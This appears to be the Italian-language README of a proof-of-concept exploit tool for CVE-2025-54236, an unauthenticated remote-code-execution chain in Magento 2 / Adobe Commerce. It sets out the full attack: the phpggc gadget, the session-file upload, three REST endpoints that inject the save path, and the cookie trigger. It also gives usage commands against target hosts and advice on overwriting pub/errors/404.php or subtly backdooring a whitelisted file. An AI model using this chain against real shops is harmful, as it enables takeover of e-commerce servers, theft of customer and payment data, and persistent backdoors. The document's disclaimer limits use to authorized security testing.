
PoC Magento Session Reaper - CVE-2025-54236
PoC unificato per CVE-2025-54236 ("SessionReaper"), una RCE critica non autenticata in Magento 2 / Adobe Commerce tramite deserializzazione annidata nella REST API.
ServiceInputProcessor; la primitiva di exploit è deserializzazione non sicura (CWE-502)Solo per test di sicurezza autorizzati. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta.
Lo strumento concatena tre fasi comuni a ogni vettore, più un trigger:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> costruisce un oggetto serializzato che scrive payload.php su <remote_path> quando viene deserializzato.POST /customer/address_file/upload memorizza il blob serializzato come sess_<SESSID>. Magento distribuisce i file di indirizzo caricati in base ai primi caratteri del nome file, quindi finisce in media/customer_address/s/e/sess_<SESSID> (da qui s/e/ in --save-path).Session\Config e, tramite setSavePath() → setOption() → ini_set('session.save_path', ...) (un effetto collaterale globale di processo), punta il gestore di sessione PHP al blob caricato.Cookie: PHPSESSID=<SESSID> forza session_start() a leggere e unserialize() il file avvelenato, attivando il gadget e scrivendo il payload.Tutti e tre i vettori raggiungono lo stesso sink (context → urlBuilder → session → sessionConfig → savePath). Differiscono solo per endpoint, verbo HTTP e modulo Magento coinvolto — utile quando un WAF o un modulo disabilitato blocca un endpoint ma non un altro.
| Metodo | Endpoint | Verbo | Punto di ingresso nella catena |
|---|---|---|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
Nessun carrello reale è richiesto per alcun vettore. ServiceInputProcessor deserializza i parametri del metodo durante la risoluzione dell'input — prima che il servizio invochi qualsiasi ricerca del carrello — quindi un cartId fittizio di abc raggiunge il sink in tutti e tre. Il successivo errore "carrello non trovato" (404/500) è previsto e conferma che l'effetto collaterale della deserializzazione è già scattato.
Un flag
--skuè disponibile se si desidera che lo strumento crei un carrello ospite reale e aggiunga un prodotto prima del trigger (verificato tramite GraphQL). Questo è opzionale e non necessario per lo sfruttamento — esiste solo per ambienti in cui si preferisce un flusso di checkout completamente realistico. Omettendolo, lo strumento utilizza il carrello fittizioabc.
var/session/). Le sessioni basate su Redis e database non sono influenzate da questa specifica catena RCE. Non è enumerabile da remoto, quindi deve essere tentata alla cieca./customer/address_file/upload raggiungibile senza autenticazione.requestsphpggc — rilevato automaticamente in PATH, percorsi di installazione comuni, o scaricato come immagine Docker ambionics/phpggc come fallbackpayload.php nella stessa directory dello script (deve iniziare con <?php)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # or: docker pull ambionics/phpggc
# order (vettore originale) — nessun carrello, nessuna credenziale
python3 session_reaper.py --host https://target.com --method order
# checkmo — endpoint pagamenti, ambito store spagnolo per la REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — endpoint spedizione
python3 session_reaper.py --host https://target.com --method address --api-store all
# opzionale: esegue un flusso di carrello reale con uno SKU noto (non richiesto)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
| Flag | Predefinito | Descrizione |
|---|---|---|
--host | (obbligatorio) | URL di base del target |
--method | (obbligatorio) | address | checkmo | order |
--store | default | Codice store per la richiesta trigger (e carrello, se --sku è usato) |
--api-store | default | Codice store nell'URL dell'endpoint di deserializzazione (all | es | default | custom) |
--sku | (nessuno) | Opzionale. Se impostato, crea un carrello ospite reale con questo SKU. Non richiesto. |
--payload-in | payload.php | Payload PHP da scrivere sul target |
--payload-out | /var/www/html/pub/errors/404.php | Percorso di scrittura remota (deve essere una posizione eseguibile dal web — vedere nota sotto) |
--save-path | media/customer_address/s/e/ | savePath iniettato nella catena del gadget |
--phpggc | (auto) | Percorso esplicito al binario phpggc |
--proxy | http://127.0.0.1:8081 | Proxy HTTP (es. Burp) |
--no-proxy | off | Disabilita il proxy |
--username / --password | (nessuno) | Credenziali cliente opzionali per un token Bearer |
Lo strumento utilizza due codici store indipendenti:
--api-store — l'ambito nell'URL della richiesta di deserializzazione (/rest/<api-store>/V1/guest-carts/...), dove viene eseguito ServiceInputProcessor.--store — l'ambito per la richiesta trigger (GET /<store>/) e, se --sku è usato, per le richieste del carrello.I codici delle viste store sono definiti dall'amministratore; non dare per scontato es/fr. Enumera prima le viste store attive — una richiesta contro un ambito inesistente fallisce semplicemente.
pub/errors/404.phpLa configurazione Nginx predefinita di Magento passa solo sette file PHP a fastcgi_backend:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
Qualsiasi altro .php (incluso qualsiasi cosa lasciata in pub/media/) viene negato e non verrà mai eseguito. Quindi il payload deve sovrascrivere uno di questi sette file whitelistati piuttosto che crearne uno nuovo. pub/errors/404.php è il predefinito perché Magento lo rende internamente su qualsiasi pagina mancante, quindi viene attivato spesso su un negozio in produzione.
OPSEC: sovrascrivere
404.phpdirettamente è rumoroso (viene eseguito su ogni 404). In un vero engagement, è meglio backdoorare un file whitelistato in modo sottile invece di sovrascriverlo.
--username/--password sono necessari solo se si desidera un token Bearer per una configurazione specifica./tmp/sess_<SESSID> viene rimosso all'uscita.Fornito solo per ricerca e test di sicurezza autorizzati. L'autore non si assume alcuna responsabilità per un uso improprio. Non eseguire contro sistemi senza esplicita autorizzazione.